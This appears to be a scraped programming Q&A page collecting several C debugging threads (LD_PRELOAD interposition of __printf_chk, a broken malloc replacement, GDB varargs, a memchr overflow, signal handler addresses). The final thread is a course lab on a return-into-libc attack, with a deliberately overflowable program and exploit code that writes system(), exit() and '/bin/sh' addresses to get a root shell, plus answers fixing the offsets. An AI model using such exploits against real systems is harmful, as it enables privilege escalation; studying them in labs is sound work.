Interposing library functions via linker script: other functions cause segfault - c

I'm currently utilizing the LD_PRELOAD trick and am utilizing a linker version script as detailed in an article on another website. My MCVE code is included below.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#define BUFFER_SIZE (1024)
int __printf__(const char *fmt, ...)
{
char buf[BUFFER_SIZE] = { 0 };
int ret;
int len;
va_list args;
va_start(args, fmt);
vsnprintf(buf, BUFFER_SIZE - 1, fmt, args);
#if 1
//typeof(vsnprintf) *real_func = dlsym(RTLD_NEXT, "vsnprintf");
//(*real_func)(buf, BUFFER_SIZE - 1, fmt, args);
#endif
len = strlen(buf);
ret = write(STDOUT_FILENO, buf, len);
va_end(args);
return ret;
}
asm(".symver __printf__, __printf_chk#GLIBC_2.3.4");
If I modify my custom printf function to simply write a static string, no problems. However, I want to modify the data being sent to the console via printf (add a prefix, suffix, and set certain character to UPPERCASE, etc). It seems that whenever I attempt to use any other printf-family functions to generate a copy of the user-provided string, I get a segfault, as shown below.
Program received signal SIGSEGV, Segmentation fault.
strchrnul () at ../sysdeps/x86_64/strchr.S:32
32 ../sysdeps/x86_64/strchr.S: No such file or directory.
(gdb) bt
#0 strchrnul () at ../sysdeps/x86_64/strchr.S:32
#1 0x00007ffff78591c8 in __find_specmb (format=0x1 <error: Cannot access memory at address 0x1>) at printf-parse.h:108
#2 _IO_vfprintf_internal (s=s#entry=0x7fffffffc380, format=format#entry=0x1 <error: Cannot access memory at address 0x1>, ap=ap#entry=0x7fffffffc4f8) at vfprintf.c:1312
#3 0x00007ffff7882989 in _IO_vsnprintf (string=0x7fffffffc510 "", maxlen=<optimized out>, format=0x1 <error: Cannot access memory at address 0x1>, args=0x7fffffffc4f8)
at vsnprintf.c:114
#4 0x00007ffff7bd58a1 in __printf__ (fmt=0x1 <error: Cannot access memory at address 0x1>) at libfakeprintf.c:19
#5 0x00000000004004aa in printf (__fmt=0x400644 "%s received %d args\n") at /usr/include/x86_64-linux-gnu/bits/stdio2.h:104
#6 main (argc=<optimized out>, argv=<optimized out>) at print_args.c:5
(gdb) quit
What is causing this crash?
Thank you.

You have overridden the glibc internal function __printf_chk , however this function does not have a prototype that matches printf. It's prototype is:
int __printf_chk(int flag, const char * format, ...);
So make sure your own __printf__ function has that prototype too.
There's a brief description of __printf_chk here

Related

Why replacing malloc causes segment error (__GI__IO_file_overflow)

I tried to mimic the way jemalloc replaces ptmalloc by replacing malloc myself, and the replacement resulted in a direct segment error
code1.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
void *ptr = malloc(10);
printf("%p\n", ptr);
return EXIT_SUCCESS;
}
code2.c:
#include <stdlib.h>
#include <stdint.h>
void *malloc(size_t size)
{
return (void *)10;
}
Compile instructions
gcc -c code2.c
ar r libcode2.a code2.o
gcc code1.c -L. -lcode2 -g
gdb
Breakpoint 1, main (argc=1, argv=0x7fffffffe318) at code1.c
17 void *ptr = malloc(10);
(gdb) s
18 printf("%p\n", ptr);
(gdb) p ptr
$1 = (void *) 0xa
(gdb) n
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e46658 in __GI__IO_file_overflow () from /lib64/libc.so.6
the replacement resulted in a direct segment error code1.c
If you replace malloc with a non-functional variant, you better not call any libc functions which may use malloc in their implementation.
Here you called printf, which itself uses malloc internally. Use GDB where command to observe where the crash happened.
I am actually surprised your program made it as far as reaching main() -- I expected it to crash much earlier (there are 1000s of instruction executed long before main is reached).

How can we access varargs in GDB? [duplicate]

I as using the bt command to view the stacktrace. The output is
(gdb) bt
#0 0x001ae4cd in Debugger (message=0x1 "???\a") at /SourceCache/xnu/xnu-1228.7.58/osfmk/i386/AT386/model_dep.c:705
#1 0x3bf97000 in ?? ()
#2 0x0012b0fa in panic (str=0x5ef "") at /SourceCache/xnu/xnu-1228.7.58/osfmk/kern/debug.c:274
#3 0x001a8cd4 in kernel_trap (state=0x51a67c80) at /SourceCache/xnu/xnu-1228.7.58/osfmk/i386/trap.c:680
#4 0x0019ede5 in return_from_trap () at pmap.h:176
#5 0x00132bea in __doprnt (fmt=<value temporarily unavailable, due to optimizations>, argp=0x51a67e6c, putc=0x38ad24 <kvprintf+33>, arg=0x51a67e48, radix=10) at /SourceCache/xnu/xnu-1228.7.58/osfmk/kern/printf.c:439
#6 0x0038ad11 in kvprintf (fmt=0x1 "???\a", func=0x1, arg=0x1, radix=1, ap=0x51a67e84 "\\?\034I\"") at /SourceCache/xnu/xnu-1228.7.58/bsd/kern/subr_prf.c:525
#7 0x491b5dac in com_my_drv_Log (format=0x491cbff8 "%s::%s:%n\n") at Logger.cpp:37
#8 0x491b3d36 in MyDrv::init (this=0x5c1f200, properties=0x58a8040) at MyDrv.cpp:34
#9 0x00412887 in IOService::probeCandidates (this=0x599a980, matches=0x58ade80) at /SourceCache/xnu/xnu-1228.7.58/iokit/Kernel/IOService.cpp:2512
#10 0x004124ab in IOService::doServiceMatch (this=0x534180, options=8) at /SourceCache/xnu/xnu-1228.7.58/iokit/Kernel/IOService.cpp:2921
#11 0x00411127 in _IOConfigThread::main (self=0x58c6790) at /SourceCache/xnu/xnu-1228.7.58/iokit/Kernel/IOService.cpp:3125
(gdb)
In frame
#7 0x491b5dac in com_my_drv_Log
how could I view the parameters passed to my com_my_drv_Log with signature
void com_my_drv_Log (const char* format, ...);
/* with the variable argument list */
?
Looks like this is possible to do it for a simple program like this:
#include <stdarg.h>
#include <stdio.h>
void myfunc(const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
vprintf(fmt, args);
va_end(args);
return;
}
int main(int argc, char *argv[])
{
myfunc("test 1: %s %s\n", "one", "two");
myfunc("test 2: %s %d %c\n", "apple", 222, 'y');
return 0;
}
Here is sample gdb session:
$ gdb testprog
GNU gdb (GDB) 7.1-debian
[snip]
Reading symbols from /home/user/testprog...done.
(gdb) break myfunc
Breakpoint 1 at 0x400552: file testprog.c, line 7.
(gdb) run
Starting program: /home/user/testprog
Breakpoint 1, myfunc (fmt=0x4006f4 "test 1: %s %s\n") at testprog.c:7
7 va_start(args, fmt);
(gdb) # initialize args to hold correct values:
(gdb) step
8 vprintf(fmt, args);
(gdb) # print first argument in "..." list which we know is a char*:
(gdb) p *(char **)(((char *)args[0].reg_save_area)+args[0].gp_offset)
$1 = 0x4006f0 "one"
I have not tested all of this, look this link for full solution. This blog will be useful also.
(gdb) frame 8
will put you in the frame of the caller. Examine the arguments that are being passed.

counting lines of input using memchr fails

I wrote a program to count lines of input given by stdin :
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define BUFF_SIZE 8192
#define RS '\n'
int
main(int argc, char **argv)
{
char buff[BUFF_SIZE];
ssize_t n;
char *r;
int c = 0;
readchunk:
n = read(0, buff, BUFF_SIZE);
if (n<=0) goto end; // EOF
r=buff;
searchrs:
r = memchr(r, RS, n);
if(r!=NULL) {
c++;
if((r-buff)<n) {
++r;
goto searchrs;
}
}
goto readchunk;
end:
printf("%d\n", ++c);
return 0;
}
I compiled it with gcc, with no options.
When run, it gives unstable result, not far from truth but false. Sometimes it segfaults. The bigger is the buffer size the more often it segfaults.
What am I doing wrong ?
Building your program with -fsanitize=address and feeding it sufficiently long input produces:
==119818==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffedbba1500 at pc 0x7fc4d56fd574 bp 0x7ffedbb9f4a0 sp 0x7ffedbb9ec50
READ of size 8192 at 0x7ffedbba1500 thread T0
#0 0x7fc4d56fd573 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x40573)
#1 0x563fdf5f4b90 in main /tmp/t.c:23
#2 0x7fc4d533e2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
#3 0x563fdf5f49c9 in _start (/tmp/a.out+0x9c9)
Address 0x7ffedbba1500 is located in stack of thread T0 at offset 8224 in frame
#0 0x563fdf5f4ab9 in main /tmp/t.c:11
This frame has 1 object(s):
[32, 8224) 'buff' <== Memory access at offset 8224 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x40573)
Line 23 is the call to memchr.
When you increment r, you should probably decrement n.

Portable way to programatically detect where a signal occured

Assuming the following code (main.c):
#include <unistd.h>
#include <signal.h>
void handler(int sig)
{
pause(); /* line 7 */
}
int main(void)
{
signal(SIGALRM, handler);
alarm(1);
pause();
}
When I run this in gbd and set a break point inside handler(), run the code and wait a second I can do the following:
(gdb) b 7
Breakpoint 1 at 0x4005b7: file main.c, line 7.
(gdb) r
Starting program: a.out
Breakpoint 1, handler (sig=14) at main.c:7
7 pause();
(gdb) bt
#0 handler (sig=14) at main.c:7
#1 <signal handler called>
#2 0x00007ffff7afd410 in __pause_nocancel () at ../sysdeps/unix/syscall-template.S:82
#3 0x00000000004005e0 in main () at main.c:14
Is there a portable way to get 0x00007ffff7afd410 or 0x00000000004005e0?
With sigaction instead of signal the handler is called with the ucontext of the location where the signal occurred:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <ucontext.h>
static void handler(int sig, siginfo_t *siginfo, void *context)
{
ucontext_t *ucontext = context;
printf("rip %p\n", (void *)ucontext->uc_mcontext.gregs[REG_RIP]);
pause();
}
int main(void)
{
struct sigaction sact;
memset(&sact, 0, sizeof sact);
sact.sa_sigaction = handler;
sact.sa_flags = SA_SIGINFO;
if (sigaction(SIGALRM, &sact, NULL) < 0) {
perror("sigaction");
return 1;
}
alarm(1);
pause();
return 0;
}
rip output and gdb bt output:
(gdb) b 13
Breakpoint 1 at 0x4006de: file main.c, line 13.
(gdb) r
Starting program: /home/osboxes/a.out
rip 0x7ffff7ae28a0
Breakpoint 1, handler (sig=14, siginfo=0x7fffffffdf70, context=0x7fffffffde40)
at main.c:13
13 pause();
(gdb) bt
#0 handler (sig=14, siginfo=0x7fffffffdf70, context=0x7fffffffde40)
at main.c:13
#1 <signal handler called>
#2 0x00007ffff7ae28a0 in __pause_nocancel () from /lib64/libc.so.6
#3 0x0000000000400758 in main () at main.c:28
Not extremely portable I guess, but backtrace(3) is available in glibc and a few other libc's:
backtrace() returns a backtrace for the calling program, in the array
pointed to by buffer. A backtrace is the series of currently active
function calls for the program.
You'd have to check how many entries up the stack you need to look. It should be consistent for Linux at least.
If you want to translate the backtrace to something resembling gdb's display, you could use addr2line(1) from binutils. With something like
popen("addr2line -Cfip -e ./myprog", "w")
you could even do it at runtime by writing addresses (as strings) to the FILE* you get back.

Return-into-libc Attack

This is a two part question:
a)I am working with a Return-into-libc attack and not getting a root shell for some reason. I am supposed to take a vulnerable program: retlib.c.
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
I am using my exploit: exploit_1.c
/* exploit_1.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
*(long *) &buf[24] = 0xbffffe86; // "/bin/sh"
*(long *) &buf[16] = 0x40076430; // system()
*(long *) &buf[20] = 0x40069fb0; // exit()
fwrite(buf, 40, 1, badfile);
fclose(badfile);
}
I found the addresses of system and exit using gdb:
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/cs4393/project2/exploit_1
Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40076430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x40069fb0 <exit>
(gdb)
I found the /bin/sh address using the myshell.c program:
//myshell.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void main (){
char* shell = getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int) shell);
}
Than using the commands:
[02/15/2015 21:46] cs4393#ubuntu:~/project2$ export MYSHELL=/bin/sh
[02/15/2015 21:46] cs4393#ubuntu:~/project2$ ./myshell
bffffe86
I feel like I have done everything right, but I keep getting a "Segmentation fault (core dumped)". I am using no -fstack-protector, chmod 4755 and ASLR turned off. Any thoughts on what is wrong?
b) I am also working with retlib-env.c:
/*retlib-env.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
char* shell=getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int)shell);
badfile = fopen("badfile", "r");
//system(shell);
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
This seems to me to be similar to part a, but "In this example, the vulnerable program retlib-env.c will reference MYSHELL environment." I don't know what I need to add to my exploit to make it work. Any hints or nudges in the right direction would be really helpful. I have MYSHELL, but i'm not really sure how I need to reference it to exploit the retlib-env.c. Shouldn't it be pretty similar to part a?
Probably the addresses of functions system(), exit() etc change at every program invocation. You cannot rely on loadng the pogram, degbugging for these addresses, closing the debug session and running the program again as the perogram may have been loaded at a completely different starting address the second time.
$gdb -q retlib
You need to find system and exit address of retlib not exploit. Exploit only prepare a exploit file. Retlib reads this file till buffer overflow. As far as I know the system address segment should start 12 after the buffer that means it will be buf[24].
The length of the program's name will influence the address of the environment variables in the stack. To get the correct address of string /bin/sh, you should keep the length of the program to search /bin/sh (i.e. myshell) equals the length of your final attack program (i.e. retlib).
Besides, you need to find out the return frame address which is supposed to be 4 plus the distance between ebp and &buffer in bof, which is supposed to be 20+4=24 rather than 16 in your code. You can verifiy it by gdb on the program compiled with flag -g.

Resources